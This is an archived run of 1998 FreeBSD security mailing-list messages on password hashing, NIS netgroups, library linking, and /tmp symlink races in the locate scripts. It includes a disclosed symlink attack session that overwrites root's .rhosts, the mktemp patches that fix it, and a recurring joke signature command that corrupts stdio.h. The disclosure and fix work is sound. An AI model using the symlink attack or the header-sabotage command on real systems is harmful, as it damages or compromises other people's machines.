Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) To: Poul-Henning Kamp cc: freebsd-security@FreeBSD.ORG In-Reply-To: <4940.893278929@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > What about the SHS ($2$) suport for crypt() should we sneak that in > at the same time ? > > Did we also agree that login.conf can specify which encryption to > use along these lines: > > modify existing password: > entry in login.conf ? > yes: use what login.conf says > no: use same as existing password. As long as we've touched on this, I'd like to suggest that the login.conf entry have some way of specifying that modifications should use the same encryption as the existing password. If it is (still) supported; otherwise use the default for creation. This is mostly a cover-all-the-bases suggestion. > create new password: > entry in login.conf ? > yes: use what login.conf says > no: use same as current root password I'd also like to suggest that the encryption specification in login.conf be an ordered list rather than a single item. This way we could ship a default login.conf that would automatically take advantage of stronger optional encryption methods when they are installed. -Pat To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Apr 23 16:31:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA18603 for freebsd-security-outgoing; Thu, 23 Apr 1998 16:31:22 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from enterprise.cs.unm.edu (enterprise-atm.cs.unm.edu [198.83.90.20]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id QAA18552 for ; Thu, 23 Apr 1998 16:30:55 -0700 (PDT) (envelope-from cfaehl@cs.unm.edu) Received: from avarice.cs.unm.edu [198.83.92.131] by enterprise.cs.unm.edu with esmtp (Exim 1.80 #2) id 0ySVS3-00055V-00; Thu, 23 Apr 1998 17:30:47 -0600 X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-security@FreeBSD.ORG Subject: Possible bug in NIS passwd handling? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 23 Apr 1998 17:30:39 -0600 From: Chris Faehl Message-Id: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk We seem to have stumbled over what I'd call a bug in NIS passwd handling (or documentation error). This is 2.2.6. (apologies if this should be in -stable - I'm not tracking it). According to passwd(5): Using groups instead of netgroups for NIS overrides FreeBSD offers the capability to do override matching based on user groups rather than netgroups. If, for example, an NIS entry is specified as: +@operator::::::::: the system will first try to match users against a netgroup called `oper- ator.' If an `operator' netgroup doesn't exist, the system will try to match users against the normal `operator' group instead. The implied behavior is that if (using the above example) a netgroup 'operator' DOES exist, and a user is not in that netgroup, permission is denied. The behavior we're seeing seems to be that if a netgroup does exist, and the user doesn't match that netgroup, the user is compared against group membership. In my thinking, the documented way is 'correct', the observed behavior is 'incorrect'. ------------------------------------------------------------------------------- Chris Faehl | Email: cfaehl@cs.unm.edu The University of New Mexico | URL: http://www.cs.unm.edu/~cfaehl Computer Science Dept., Rm. FEC 313 | Phone: 505/277-3016 Albuquerque, NM 87131 USA | FAX: 505/277-6927 ------------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Apr 24 03:40:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA13632 for freebsd-security-outgoing; Fri, 24 Apr 1998 03:40:18 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from wumpus.its.uow.edu.au (wumpus.its.uow.edu.au [130.130.68.12]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA13627 for ; Fri, 24 Apr 1998 03:40:14 -0700 (PDT) (envelope-from ncb05@uow.edu.au) Received: from banshee.cs.uow.edu.au (ncb05@banshee.cs.uow.edu.au [130.130.188.1]) by wumpus.its.uow.edu.au (8.9.0.Beta5/8.9.0.Beta5) with SMTP id UAA11779 for ; Fri, 24 Apr 1998 20:40:09 +1000 (EST) Date: Fri, 24 Apr 1998 20:40:08 +1000 (EST) From: Nicholas Charles Brawn X-Sender: ncb05@banshee.cs.uow.edu.au To: freebsd-security@FreeBSD.ORG Subject: Re: Symlinks again... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Time for a quick "oops" email. :) Upon a little debate over whether or not /etc/weekly su's to nobody before running locate.updatedb, I checked it out myself. >From /etc/weekly: echo "" echo "Rebuilding locate database:" locdb=/var/db/locate.database touch ${locdb}; chown nobody ${locdb}; chmod 644 ${locdb} echo /usr/libexec/locate.updatedb | nice -5 su -fm nobody 2>&1 |\ fgrep -v 'Permission denied' ^^^^^^^^^^^^^ chmod 444 ${locdb} I stand corrected. :) Nicholas Brawn -- Email: ncb05@uow.edu.au Nicholas Brawn - Computer Science Undergraduate, University of Wollongong. On Thu, 23 Apr 1998, Nicholas Charles Brawn wrote: > Another symlink problem. > > The script /usr/libexec/locate.updatedb and /usr/libexec/locate.mklocatedb > create predictable filenames in /tmp. Example attack is shown below. > > nbrawn@devel:~$ uname -a > FreeBSD devel 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: Sun Apr 19 18:51:09 EST > 1998 root@devel:/usr/src/sys/compile/devel i386 > nbrawn@devel:~$ ls /tmp > total 2 > drwxrwxrwt 2 bin bin 512 Apr 23 15:28 ./ > drwxr-xr-x 18 root wheel 512 Apr 23 15:14 ../ > nbrawn@devel:~$ /usr/libexec/locate.updatedb > > [1]+ Stopped /usr/libexec/locate.updatedb > nbrawn@devel:~$ ls /tmp > total 2 > drwxrwxrwt 2 bin bin 512 Apr 23 15:28 ./ > drwxr-xr-x 18 root wheel 512 Apr 23 15:14 ../ > -rw------- 1 nbrawn bin 0 Apr 23 15:28 _mklocatedb575.list > -rw-r--r-- 1 nbrawn bin 0 Apr 23 15:28 _updatedb571 > nbrawn@devel:~$ fg > /usr/libexec/locate.updatedb > locate.mklocatedb: cannot build locate database > nbrawn@devel:~$ ps > PID TT STAT TIME COMMAND > 172 v2 Is 0:00.37 -bash (bash) > 173 v3 Ss 0:00.96 -bash (bash) > 584 v3 R+ 0:00.00 ps > nbrawn@devel:~$ ln -s /root/.rhosts /tmp/_mklocatedb591.list > nbrawn@devel:~$ su > Password: > su-2.01# /usr/libexec/locate.updatedb > > [1]+ Stopped /usr/libexec/locate.updatedb > su-2.01# ls /tmp > total 2 > drwxrwxrwt 2 bin bin 512 Apr 23 15:29 ./ > drwxr-xr-x 18 root wheel 512 Apr 23 15:14 ../ > lrwxrwxrwx 1 nbrawn bin 13 Apr 23 15:29 _mklocatedb591.list@ -> /root/.rhosts > -rw-r--r-- 1 root bin 0 Apr 23 15:29 _updatedb587 > su-2.01# fg > /usr/libexec/locate.updatedb > su-2.01# ls /root/.rhosts > -rw------- 1 root wheel 439009 Apr 23 15:30 /root/.rhosts > su-2.01# exit > exit > nbrawn@devel:~$ > > The problem appears easily fixed by editing the problem scripts and adding a > few lines: > > #!/bin/sh > # > # Copyright (c) September 1995 Wolfram Schneider . Berlin. > # All rights reserved. > > [snip] > > # mklocatedb - build locate database > # > # usage: mklocatedb [-presort] < filelist > database > # > # $Id: mklocatedb.sh,v 1.2.2.1 1997/12/13 18:21:02 sef Exp $ > > [snip] > > umask 077 # protect temp files > > export ROOTDIR=/var/run > TMPDIR=${TMPDIR:-/tmp}; export TMPDIR > if test X"$TMPDIR" = X -o ! -d "$TMPDIR"; then > TMPDIR=/tmp; export TMPDIR > fi > > [snip] > > if [ "$USER" != "root" ] # won't work if su'ing, someone think of a > then # better check :) > bigrams=$TMPDIR/_mklocatedb$$.bigrams > filelist=$TMPDIR/_mklocatedb$$.list > else > bigrams=$ROOTDIR/_mklocatedb$$.bigrams > filelist=$ROOTDIR/_mklocatedb$$.list > fi > > How many other programs/scripts in FreeBSD -stable and -current are > using /tmp that should be using /var/run? > > Nicholas Brawn > > ps, sorry for the long post :) > -- > Email: ncb05@uow.edu.au > Nicholas Brawn - Computer Science Undergraduate, University of Wollongong. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Apr 24 13:30:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA23198 for freebsd-security-outgoing; Fri, 24 Apr 1998 13:30:19 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-48.waterford.indigo.ie [194.125.139.111]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA22959 for ; Fri, 24 Apr 1998 13:29:40 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id VAA00581; Fri, 24 Apr 1998 21:25:38 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804242025.VAA00581@indigo.ie> Date: Fri, 24 Apr 1998 21:25:38 +0000 In-Reply-To: Nicholas Charles Brawn "Re: Symlinks again..." (Apr 24, 8:40pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Nicholas Charles Brawn , freebsd-security@FreeBSD.ORG Subject: Re: Symlinks again... Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 24, 8:40pm, Nicholas Charles Brawn wrote: } Subject: Re: Symlinks again... > > Upon a little debate over whether or not /etc/weekly su's to nobody before > running locate.updatedb, I checked it out myself. > > >From /etc/weekly: > echo "" > echo "Rebuilding locate database:" > locdb=/var/db/locate.database > touch ${locdb}; chown nobody ${locdb}; chmod 644 ${locdb} > echo /usr/libexec/locate.updatedb | nice -5 su -fm nobody 2>&1 |\ > fgrep -v 'Permission denied' ^^^^^^^^^^^^^ > chmod 444 ${locdb} > > I stand corrected. :) The code is still wrong though, an account is compromisable. I would submit a PR. mktemp(1) should be ported to -stable to make fixing/avoiding this type of thing easier. Any takers? Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Apr 24 14:09:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA01172 for freebsd-security-outgoing; Fri, 24 Apr 1998 14:09:10 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-48.waterford.indigo.ie [194.125.139.111]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA01146; Fri, 24 Apr 1998 14:08:54 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id WAA01322; Fri, 24 Apr 1998 22:07:12 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804242107.WAA01322@indigo.ie> Date: Fri, 24 Apr 1998 22:07:11 +0000 In-Reply-To: "Jonathan M. Bresler" "Re: New DoS attack?" (Apr 21, 8:46am) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: "Jonathan M. Bresler" , rotel@indigo.ie Subject: Re: New DoS attack? Cc: mt@folco.lms.ru, freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 21, 8:46am, "Jonathan M. Bresler" wrote: } Subject: Re: New DoS attack? > Niall Smart wrote: > > On Apr 21, 9:33am, "Alexander B. Povolotsky" wrote: > > } Subject: New DoS attack? > > > Strangely, I've posted this message TWICE, but still don't see it... > > > > This is the first time I've seen it. Is the other address subscribed > > to security@freebsd.org or freebsd-security@freebsd.org? > > security@freebsd.org is nothing more than a mail shortcut > for freebsd-security@freebsd.org. > > everything sent to security@freebsd.org that makes it past > the spam blockers goes to freebsd-security@freebsd.org. Do you remember the mail I sent you some weeks ago complaining that sending subscribe commands to a mailing list alias failed in that although majordomo's which command said you were subscribed it didn't send you any messages? Niall -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Apr 24 20:29:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA28628 for freebsd-security-outgoing; Fri, 24 Apr 1998 20:29:12 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA28582 for ; Fri, 24 Apr 1998 20:28:57 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt2-118.HiWAAY.net [208.147.148.118]) by fly.HiWAAY.net (8.8.8/8.8.6) with ESMTP id WAA11586 for ; Fri, 24 Apr 1998 22:28:53 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.8/8.8.4) with ESMTP id WAA27684 for ; Fri, 24 Apr 1998 22:13:22 -0500 (CDT) Message-Id: <199804250313.WAA27684@nospam.hiwaay.net> X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-security@FreeBSD.ORG From: David Kelly Subject: Re: Symlinks again... In-reply-to: Message from Niall Smart of "Fri, 24 Apr 1998 21:25:38 -0000." <199804242025.VAA00581@indigo.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 24 Apr 1998 22:13:21 -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Niall Smart writes: > > The code is still wrong though, an account is compromisable. I > would submit a PR. mktemp(1) should be ported to -stable to make > fixing/avoiding this type of thing easier. Any takers? It appears mktemp made it into RELENG_2_2 recently (I don't know how to ask CVS yet). So maybe all that's left to do is fold it into the right places? nospam: {463} which mktemp /usr/bin/mktemp nospam: {464} uname -a FreeBSD nospam.hiwaay.net 2.2.6-STABLE FreeBSD 2.2.6-STABLE #0: Mon Apr 20 20:49:10 CDT 1998 root@nospam.hiwaay.net:/usr/src/sys/compile/PPRO200 i386 nospam: {465} whereis mktemp mktemp: /usr/bin/mktemp /usr/share/man/man1/mktemp.1.gz /usr/src/usr.bin/mktemp nospam: {466} ls -l /usr/src/usr.bin/mktemp total 12 drwxr-xr-x 2 root wheel 512 Apr 21 21:05 CVS/ -rw-r--r-- 1 root wheel 121 Apr 18 05:56 Makefile -rw-r--r-- 1 root wheel 5629 Apr 18 05:56 mktemp.1 -rw-r--r-- 1 root wheel 3784 Apr 18 05:56 mktemp.c nospam: {467} -- David Kelly N4HHE, dkelly@nospam.hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Apr 25 05:12:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA17990 for freebsd-security-outgoing; Sat, 25 Apr 1998 05:12:21 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-43.waterford.indigo.ie [194.125.139.106]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA17982; Sat, 25 Apr 1998 05:12:11 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id NAA01265; Sat, 25 Apr 1998 13:10:25 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804251210.NAA01265@indigo.ie> Date: Sat, 25 Apr 1998 13:10:25 +0000 In-Reply-To: David Kelly "Re: Symlinks again..." (Apr 24, 10:13pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: David Kelly , freebsd-security@FreeBSD.ORG Subject: Re: Symlinks again... Cc: wosch@FreeBSD.ORG, ncb05@uow.edu.au Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Apr 24, 10:13pm, David Kelly wrote: } Subject: Re: Symlinks again... > > > > [ discussion of problem with temporary files in locate.* ] > > > > The code is still wrong though, an account is compromisable. I > > would submit a PR. mktemp(1) should be ported to -stable to make > > fixing/avoiding this type of thing easier. Any takers? > > It appears mktemp made it into RELENG_2_2 recently (I don't know how to > ask CVS yet). So maybe all that's left to do is fold it into the right > places? Oh, good. :) It was brought in last Saturday by obrien@freebsd.org, I hadn't checked. Here are the patches: *** /usr/src/usr.bin/locate/locate/mklocatedb.sh Sun Dec 21 16:43:09 1997 --- mklocatedb.sh Sat Apr 25 13:00:10 1998 *************** *** 30,53 **** # # $Id: mklocatedb.sh,v 1.2.2.1 1997/12/13 18:21:02 sef Exp $ - # The directory containing locate subprograms : ${LIBEXECDIR=/usr/libexec}; export LIBEXECDIR PATH=$LIBEXECDIR:/bin:/usr/bin:$PATH; export PATH ! umask 077 # protect temp files ! TMPDIR=${TMPDIR:-/tmp}; export TMPDIR ! if test X"$TMPDIR" = X -o ! -d "$TMPDIR"; then ! TMPDIR=/tmp; export TMPDIR fi # utilities to built locate database : ${bigram=locate.bigram} : ${code=locate.code} : ${sort=sort} sortopt="-u -T $TMPDIR" sortcmd=$sort --- 30,58 ---- # # $Id: mklocatedb.sh,v 1.2.2.1 1997/12/13 18:21:02 sef Exp $ # The directory containing locate subprograms : ${LIBEXECDIR=/usr/libexec}; export LIBEXECDIR PATH=$LIBEXECDIR:/bin:/usr/bin:$PATH; export PATH ! bigrams=`mktemp -t mklocatedb` ! filelist=`mktemp -t mklocatedb` ! if [ -z "$bigrams" -o -z "$filelist" ]; then ! echo "`basename $0`: cannot create temporary files (check \$TMPDIR)" >&2 ! exit 1 fi + trap 'rm -f $bigrams $filelist' 0 1 2 3 5 10 15 + # utilities to built locate database : ${bigram=locate.bigram} : ${code=locate.code} : ${sort=sort} + if [ -z "$TMPDIR" -o ! -d "$TMPDIR" -o ! -w "$TMPDIR" ]; then + TMPDIR=/tmp; export TMPDIR + fi sortopt="-u -T $TMPDIR" sortcmd=$sort *************** *** 56,68 **** case X"$1" in X-nosort|X-presort) sortcmd=cat; sortopt=;shift;; esac - - - bigrams=$TMPDIR/_mklocatedb$$.bigrams - filelist=$TMPDIR/_mklocatedb$$.list - - trap 'rm -f $bigrams $filelist' 0 1 2 3 5 10 15 - if $sortcmd $sortopt > $filelist; then $bigram < $filelist | $sort -nr | --- 61,66 ---- *** /usr/src/usr.bin/locate/locate/concatdb.sh Sun Dec 21 16:43:09 1997 --- concatdb.sh Sat Apr 25 12:52:56 1998 *************** *** 37,64 **** PATH=$LIBEXECDIR:/bin:/usr/bin:$PATH; export PATH - umask 077 # protect temp files - - TMPDIR=${TMPDIR:-/tmp}; export TMPDIR; - if test X"$TMPDIR" = X -o ! -d "$TMPDIR"; then - TMPDIR=/tmp; export TMPDIR - fi - # utilities to built locate database : ${bigram=locate.bigram} : ${code=locate.code} : ${sort=sort} : ${locate=locate} - case $# in ! [01]) echo 'usage: concatdb databases1 ... databaseN > newdb' exit 1 ;; esac - bigrams=$TMPDIR/_concatdb$$.bigrams trap 'rm -f $bigrams' 0 1 2 3 5 10 15 for db --- 37,60 ---- PATH=$LIBEXECDIR:/bin:/usr/bin:$PATH; export PATH # utilities to built locate database : ${bigram=locate.bigram} : ${code=locate.code} : ${sort=sort} : ${locate=locate} case $# in ! [01]) echo "usage: `basename $0` databases1 ... databaseN > newdb" >&2 exit 1 ;; esac + bigrams=`mktemp -t concatdb` + if [ -z "$bigrams" ]; then + echo "$0: cannot create temporary file (check \$TMPDIR)" >&2 + exit 1 + fi trap 'rm -f $bigrams' 0 1 2 3 5 10 15 for db *** /usr/src/usr.bin/locate/locate/updatedb.sh Sun Dec 21 16:43:09 1997 --- updatedb.sh Sat Apr 25 13:03:16 1998 *************** *** 35,60 **** # The directory containing locate subprograms : ${LIBEXECDIR=/usr/libexec}; export LIBEXECDIR - TMPDIR=${TMPDIR:-/tmp}; export TMPDIR - if test X"$TMPDIR" = X -o ! -d "$TMPDIR"; then - TMPDIR=/tmp; export TMPDIR - fi PATH=$LIBEXECDIR:/bin:/usr/bin:$PATH; export PATH ! : ${mklocatedb=locate.mklocatedb} # make locate database program ! : ${FCODES=/var/db/locate.database} # the database ! : ${SEARCHPATHS="/"} # directories to be put in the database ! : ${PRUNEPATHS="/tmp /usr/tmp /var/tmp"} # unwanted directories ! : ${FILESYSTEMS="ufs"} # allowed filesystems : ${find=find} case X"$SEARCHPATHS" in ! X) echo "$0: empty variable SEARCHPATHS"; exit 1;; esac case X"$FILESYSTEMS" in ! X) echo "$0: empty variable FILESYSTEMS"; exit 1;; esac # Make a list a paths to exclude in the locate run excludes="! (" or="" for fstype in $FILESYSTEMS --- 35,61 ---- # The directory containing locate subprograms : ${LIBEXECDIR=/usr/libexec}; export LIBEXECDIR PATH=$LIBEXECDIR:/bin:/usr/bin:$PATH; export PATH ! : ${mklocatedb=locate.mklocatedb} # make locate database program ! : ${FCODES=/var/db/locate.database} # the database ! : ${SEARCHPATHS="/"} # directories to be put in the database ! : ${PRUNEPATHS="/tmp /usr/tmp /var/tmp"} # unwanted directories ! : ${FILESYSTEMS="ufs"} # allowed filesystems : ${find=find} case X"$SEARCHPATHS" in ! X) echo "`basename $0`: empty variable SEARCHPATHS" >&2; exit 1;; esac case X"$FILESYSTEMS" in ! X) echo "`basename $0`: empty variable FILESYSTEMS" >&2; exit 1;; esac + if [ "`id -un`" != "nobody" ]; then + echo "`basename $0`: this script should be run as the user \"nobody\"" >&2 + exit 1; + fi + # Make a list a paths to exclude in the locate run excludes="! (" or="" for fstype in $FILESYSTEMS *************** *** 72,78 **** done;; esac ! tmp=$TMPDIR/_updatedb$$ trap 'rm -f $tmp' 0 1 2 3 5 10 15 # search locally --- 73,84 ---- done;; esac ! tmp=`mktemp -t updatedb` ! if [ -z "$tmp" ]; then ! echo "`basename $0`: cannot create temporary file (check \$TMPDIR)" >&2 ! exit 1 ! fi ! trap 'rm -f $tmp' 0 1 2 3 5 10 15 # search locally *************** *** 82,88 **** then case X"`$find $tmp -size -257c -print`" in X) cat $tmp > $FCODES;; ! *) echo "updatedb: locate database $tmp is empty" exit 1 esac fi --- 88,96 ---- then case X"`$find $tmp -size -257c -print`" in X) cat $tmp > $FCODES;; ! *) echo "`basename $0`: locate database $tmp is empty" >&2 exit 1 esac fi + + chmod 444 $FCODES -- Niall Smart. PGP: finger njs3@motmot.doc.ic.ac.uk FreeBSD: Turning PC's into Workstations: www.freebsd.org Annoy your enemies and astonish your friends: echo "#define if(x) if (!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Apr 25 10:30:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA19534 for freebsd-security-outgoing; Sat, 25 Apr 1998 10:30:17 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from passer.osg.gov.bc.ca (0@passer.osg.gov.bc.ca [142.32.110.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA19477 for ; Sat, 25 Apr 1998 10:29:59 -0700 (PDT) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.8.8/8.6.10) id KAA11612; Sat, 25 Apr 1998 10:29:41 -0700 (PDT) Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by passer.osg.gov.bc.ca, id smtpdaallca; Sat Apr 25 10:29:37 1998 Received: (from uucp@localhost) by cwsys.cwsent.com (8.8.8/8.6.10) id KAA05173; Sat, 25 Apr 1998 10:29:21 -0700 (PDT) Message-Id: <199804251729.KAA05173@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpd005165; Sat Apr 25 10:29:02 1998 X-Mailer: exmh version 2.0.1 12/23/97 Reply-to: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: cy To: "John S. Dyson" cc: peter.jeremy@alcatel.com.au (Peter Jeremy), freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking In-reply-to: Your message of "Thu, 23 Apr 1998 01:58:31 CDT." <199804230658.BAA08577@dyson.iquest.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 25 Apr 1998 10:29:01 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > How many of our problems can be fixed in the library(s) alone, > anyway? Let me rephrase the question and answer that question: Can problems be fixed using shared libraries alone? I use a commercial X product. I've found some bugs (mainly zombies) that the vendor doesn't want to fix via patches to this release. Since the product was released using shared binaries, I replaced some system calls that they call by using LD_PRELOAD and LD_LIBRARY_PATH. If the product had been shipped using static binaries or if the O/S (in this case FreeBSD) did not support shared libraries, I'd be stuck (or the job of creating a fix would have been much more difficult). So in this case the answer is yes. The current arrangement as we have it, some binaries linked dynamic and others linked static, is a fairly good arrangement. Can this arrangement be adjusted or improved? Yes. The two extremes however: To totally switch to shared libraries (would cause a performance hit) or to no longer support shared libraries (not mentioned in this discussion yet but I'm sure some are thinking about this) [both] appear silly and I'm sure a good compromise (adjustments and tuning) can be found. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: cschuber@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Government of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Apr 25 10:44:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA21360 for freebsd-security-outgoing; Sat, 25 Apr 1998 10:44:20 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA21353 for ; Sat, 25 Apr 1998 10:44:13 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id MAA11634; Sat, 25 Apr 1998 12:41:24 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804251741.MAA11634@dyson.iquest.net> Subject: Re: Static vs. dynamic linking In-Reply-To: <199804251729.KAA05173@cwsys.cwsent.com> from Cy Schubert - ITSD Open Systems Group at "Apr 25, 98 10:29:01 am" To: cschuber@uumail.gov.bc.ca Date: Sat, 25 Apr 1998 12:41:24 -0500 (EST) Cc: toor@dyson.iquest.net, peter.jeremy@alcatel.com.au, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > > How many of our problems can be fixed in the library(s) alone, > > anyway? > > The current arrangement as we have it, some binaries linked dynamic and > others linked static, is a fairly good arrangement. Can this > arrangement be adjusted or improved? Yes. The two extremes however: > To totally switch to shared libraries (would cause a performance hit) > or to no longer support shared libraries (not mentioned in this > discussion yet but I'm sure some are thinking about this) [both] appear > silly and I'm sure a good compromise (adjustments and tuning) can be > found. > I agree, using *just* applications with shared libs is a bad tradeoff, like using *just* applications with static libs. When you have one shared lib, you are getting alot of overhead right away. I would suggest that it is probably best not to link with 50 shared libs, but with only one vs. 2-3, it is best to go all of the way, and link with all three shared. For things like inetd and other daemons that fork, etc, there is a performance hit. There might be cases where shared libs can making fixing problems easier, but if replacing a shared lib is being used to fix a system call -- on FreeBSD, you can theoretically just fix the system call. I suspect that a good compromise can be worked out, and I just want to make sure that we don't loose (much) performance. I also don't want to loose many of the advantages of having shared libraries. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Sat Apr 25 15:06:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA26276 for freebsd-security-outgoing; Sat, 25 Apr 1998 15:06:17 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA26257 for ; Sat, 25 Apr 1998 15:06:06 -0700 (PDT) (envelope-from jfieber@indiana.edu) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.8/8.8.7) with SMTP id RAA21672; Sat, 25 Apr 1998 17:01:09 -0500 (EST) Date: Sat, 25 Apr 1998 17:01:08 -0500 (EST) From: John Fieber To: "John S. Dyson" cc: cschuber@uumail.gov.bc.ca, peter.jeremy@alcatel.com.au, freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking In-Reply-To: <199804251741.MAA11634@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Sat, 25 Apr 1998, John S. Dyson wrote: > I would suggest that it is probably best not to link with 50 > shared libs, but with only one vs. 2-3, it is best to go all of > the way, and link with all three shared. That reminds me...Microsoft Internet Explorer for Solaris comes with a whopping 51 shared libraries. They seem to be 